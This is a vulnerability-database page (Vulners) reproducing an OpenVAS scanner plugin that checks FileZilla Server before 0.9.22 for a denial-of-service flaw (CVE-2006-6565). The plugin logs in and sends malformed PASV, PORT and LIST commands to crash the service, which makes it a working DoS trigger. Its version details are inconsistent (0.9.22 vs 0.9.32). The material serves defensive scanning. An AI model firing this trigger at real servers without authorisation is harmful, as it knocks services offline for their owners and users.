Lucene search
+L

FileZilla Server < 0.9.22 'Port Command' DoS Vulnerability

🗓️ 02 Apr 2010 00:00:00Reported by Copyright (C) 2010 LSSType 
openvas
 openvas
🔗 plugins.openvas.org👁 25 Views

FileZilla Server < 0.9.22 'Port Command' DoS Vulnerability. Denial of service via crafted FTP request

Related
Refs
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
FileZilla FTP Server < 0.9.22 Multiple Remote DoS
12 Dec 200600:00
nessus
nessus
Tenable Nessus
FileZilla FTP Server < 0.9.22 Wildcard Handling Remote DoS
12 Dec 200600:00
nessus
circl
Circl
CVE-2006-6565
29 May 201815:50
circl
cve
CVE
CVE-2006-6565
15 Dec 200611:00
cve
cvelist
Cvelist
CVE-2006-6565
15 Dec 200611:00
cvelist
exploitdb
Exploit DB
FileZilla FTP Server 0.9.21 - 'LIST/NLST' Denial of Service
11 Dec 200600:00
exploitdb
metasploit
Metasploit
FileZilla FTP Server Malformed PORT Denial of Service
9 Jan 200905:33
metasploit
nvd
NVD
CVE-2006-6565
15 Dec 200611:28
nvd
packetstorm
Packet Storm
FileZilla FTP Server Malformed PORT Denial of Service
31 Aug 202400:00
packetstorm
# SPDX-FileCopyrightText: 2010 LSS
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later

CPE = "cpe:/a:filezilla:filezilla_server";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.102019");
  script_version("2024-07-24T05:06:37+0000");
  script_tag(name:"last_modification", value:"2024-07-24 05:06:37 +0000 (Wed, 24 Jul 2024)");
  script_tag(name:"creation_date", value:"2010-04-02 10:10:27 +0200 (Fri, 02 Apr 2010)");
  script_tag(name:"cvss_base", value:"4.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:N/I:N/A:P");
  script_cve_id("CVE-2006-6565");
  script_name("FileZilla Server < 0.9.22 'Port Command' DoS Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2010 LSS");
  script_family("FTP");
  script_dependencies("gb_filezilla_server_ftp_detect.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("filezilla/server/ftp/detected", "ftp/login", "ftp/password");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/21542");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/21549");

  script_tag(name:"summary", value:"FileZilla Server is prone to a denial of service (DoS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted FTP request and checks if the service is still
  reachable afterwards.");

  script_tag(name:"insight", value:"The falw allows remote attackers to cause a denial of service
  (crash) via a wildcard argument to the (1) LIST or (2) NLST commands, which results in a NULL
  pointer dereference, a different set of vectors than CVE-2006-6564.

  NOTE: CVE analysis suggests that the problem might be due to a malformed PORT command.");

  script_tag(name:"affected", value:"FileZilla Server versions prior to 0.9.32.");

  script_tag(name:"solution", value:"Update to version 0.9.32 or later.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("ftp_func.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"ftp"))
  exit(0);

if(!get_app_location(port:port, cpe:CPE, nofork:TRUE))
  exit(0);

kb_creds = ftp_get_kb_creds();

if(!user = kb_creds["login"])
  exit(0);

if(!pass = kb_creds["pass"])
  exit(0);

attack = "A*";

if(!soc = open_sock_tcp(port))
  exit(0);

is_alive = ftp_recv_line(socket:soc);
if(!is_alive) {
  close(soc);
  exit(0);
}

###################
###step 1: login###
###################

cmd = "USER " + user;
ftp_send_cmd(socket:soc, cmd:cmd);

cmd = "PASS " + pass;
ftp_send_cmd(socket:soc, cmd:cmd);

########################
###step 2: the attack###
########################

cmd = "PASV " + attack;
ftp_send_cmd(socket:soc, cmd:cmd);

cmd = "PORT " + attack;
ftp_send_cmd(socket:soc, cmd:cmd);

cmd = "LIST " + attack;
ftp_send_cmd(socket:soc, cmd:cmd);

###############################
###step 3: attack succeeded?###
###############################

close(soc);

sleep(5);

soc1 = open_sock_tcp(port);
if(soc1) {
  is_alive = ftp_recv_line(socket:soc1);
  close(soc1);
}

if(!is_alive) {
  security_message(port:port);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation